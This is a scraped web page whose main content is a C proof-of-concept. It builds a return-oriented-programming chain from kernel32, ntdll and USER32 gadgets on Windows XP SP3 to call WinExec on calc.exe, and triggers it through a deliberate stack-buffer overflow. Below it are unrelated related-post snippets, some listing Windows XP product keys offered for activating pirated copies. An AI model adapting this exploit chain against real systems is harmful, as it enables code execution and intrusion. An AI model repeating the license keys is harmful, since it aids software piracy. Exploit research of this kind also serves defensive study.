Windows XP PRO SP3 - Full ROP calc shellcode
/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysecurity.com/) Notes: This is probably not the most efficient way but I gave the dll's a run for their money ;)) Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version (Important!) ___________|____________|____________|_____________________________ 0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll] 0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll] 0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll] UINT WINAPI WinExec( => PTR to WinExec __in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000 __in UINT uCmdShow => 0x1 );*/#include <iostream>#include "windows.h"char shellcode[]="\xb1\x4f\x97\x7c" // POP ECX # RETN"\xf9\x10\x47\x7e" // Writable PTR USER32.dll"\x27\xfa\x87\x7c" // POP EDX # POP EAX # RETN"\x43\x3a\x5c\x57" // ASCII "C:\W""\x49\x4e\x44\x4f" // ASCII "INDO""\x04\x18\x80\x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x57\x53\x5c\x73" // ASCII "WS\s""\x38\xd6\x46\x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x79\x73\x74\x65" // ASCII "yste""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x63\x61\x6c\x63" // ASCII "calc""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x6d\x33\x32\x5c" // ASCII "m32\""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x2e\x65\x78\x65" // ASCII ".exe""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x9e\x2e\x92\x7c" // XOR EAX,EAX # RETN"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//"\xe5\x02\x88\x7c" // POP EAX # RETN"\x7a\xeb\xc3\x6f" // Should result in a valid PTR in kernel32.dll"\x4f\xda\x85\x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x32\xd9\x44\x7e" // XCHG EAX,EDI # RETN"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\xf5\xd6\x91\x7c" // XOR ECX,ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xb1\x4f\x97\x7c" // POP ECX # RETN"\xed\x2a\x86\x7c" // WinExec()"\xe7\xc1\x87\x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Final RETN for WinExec()"\x8a\x20\x87\x7c"; // Compensate WinExec()//------------------------------------------------------[Write Arguments and execute -> calc]-//void buff() { char a; memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9}int main(){ LoadLibrary("USER32.dll"); // we need this dll char buf[1024]; buff(); return 0;}Windows XP PRO SP3 - Full ROP calc shellcode的更多相关文章
- 原版Windows XP Pro With SP3 VOL MSDN简体中文专业版
2008年5月2日,微软推出Windows XP Pro With SP3 VOL MSDN x86 32位简体中文专业版,这是最经典也是我最喜爱的操作系统之一.在MSDN(微软开发者网络)的网站上查 ...
- Windows XP with SP3大客户免激活日文版
原贴地址:http://www.humin.com.cn/ja_windows_xp_professional_with_service_pack_3_x86_dvd_vl_x14-74058-iso ...
- Microsoft Windows XP SP3 官方原版镜像下载,绝对原版加系列号!
转:http://blog.sina.com.cn/s/blog_638c2e010100op5z.html 写在前面:1. VOL是Volume Licensing for Organization ...
- 最新的windows xp sp3序列号 xp序列号
最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9- ...
- 最新的windows xp sp3序列号(绝对可通过正版验证)
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用 CM3HY-26VYW-6J ...
- 在虚拟机安装windows xp时所需要的序列号
最新的windows xp sp3序列号 xp序列号 最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推 ...
- Windows XP系列全下载(均为MSDN原版)
正版windows xp sp3 下载大全(附:正版密钥) 微软MSDN Windows XP Professional下载 Windows XP Professional 简体中文 (最原始版本,无 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- Windows XP Professional产品序列号
BX6HT-MDJKW-H2J4X-BX67W-TVVFG产品密钥:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8产品密钥:CCC64-69Q48-Y3KWW-8V9GV-TVKRM Wi ...
随机推荐
- amd64_or_ia64?
amd64 网上资料: 1. IA64是intel推出的架构,AMD64是AMD推出的.IA64不兼容原有的32位x86架构指令集,后来被证明这种做法是不成功的,于是Intel发展处IA64e架构,对 ...
- web设计经验<五>国外设计师总结的7个找灵感实用方法
每个设计师不时会有创意灵感缺失.大脑一片空白的状态.盯着一个空白的屏幕,发愁着“好吧,我现在该做什么呢?该怎么做呢?”有些人喜欢静待,但这不是唯一的一个方法.焦虑的客户或者是你自己的不耐烦,都会让你无 ...
- poj2986A Triangle and a Circle&&poj3675Telescope(三角形剖分)
链接 2986是3675的简化版,只有一个三角形. 这题主要在于求剖分后三角形与圆的相交面积,需要分情况讨论. 具体可以看此博客 http://hi.baidu.com/billdu/item/703 ...
- CentOS下源码安装MySQL
一.创建mysql用户与组,相关目录 useradd mysql -s /sbin/nologin mkdir /usr/local/mysql chown -R mysql.mysql mkdir ...
- DHCP 工作原理
DHCP 详解 DHCP 工作原理 一.什么是DHCP? DHCP,动态主机配置协议,前身是BOOTP协议,是一个局域网的网络协议,使用UDP协议工作,常用的2个端口:67(DHCP server), ...
- RTC框架
RPC是系统间的一种通信方式,系统间常用的通信方式还有http,webservice,rpc等,一般来讲rpc比http和webservice性能高一些,常见的RPC框架有:thrift,Finagl ...
- 转:C/C++基本数据类型所占字节数
参考:http://blog.csdn.net/vast_sea/article/details/8076934 关于这个基本的问题,很早以前就很清楚了,C标准中并没有具体给出规定那个基本类型应该是多 ...
- 快速认识ELK中的L - Logstash
快速认识ELK中的L - Logstash 原创 2016-12-07 杜亦舒 简介 Logstash 是一个开源的数据采集引擎. Logstash 就像是一个管子,左面接数据源接收数据,右面接存储目 ...
- 深入理解Sqlserver索引
1. Sqlserver中索引分为聚集索引和非聚集索引: 聚集索引:表中数据的物理存储的顺序与索引顺序完全相同(字典的按拼音查法),检索效率比非聚集索引高,但对数据更新影响较大. 非聚集索引:表中数据 ...
- css制作简单的导航栏
//css代码 #menu{ height: 65px; width:100%; background-color: rgba(0, 0, 0, 0.5);}#menu ul{ list-style: ...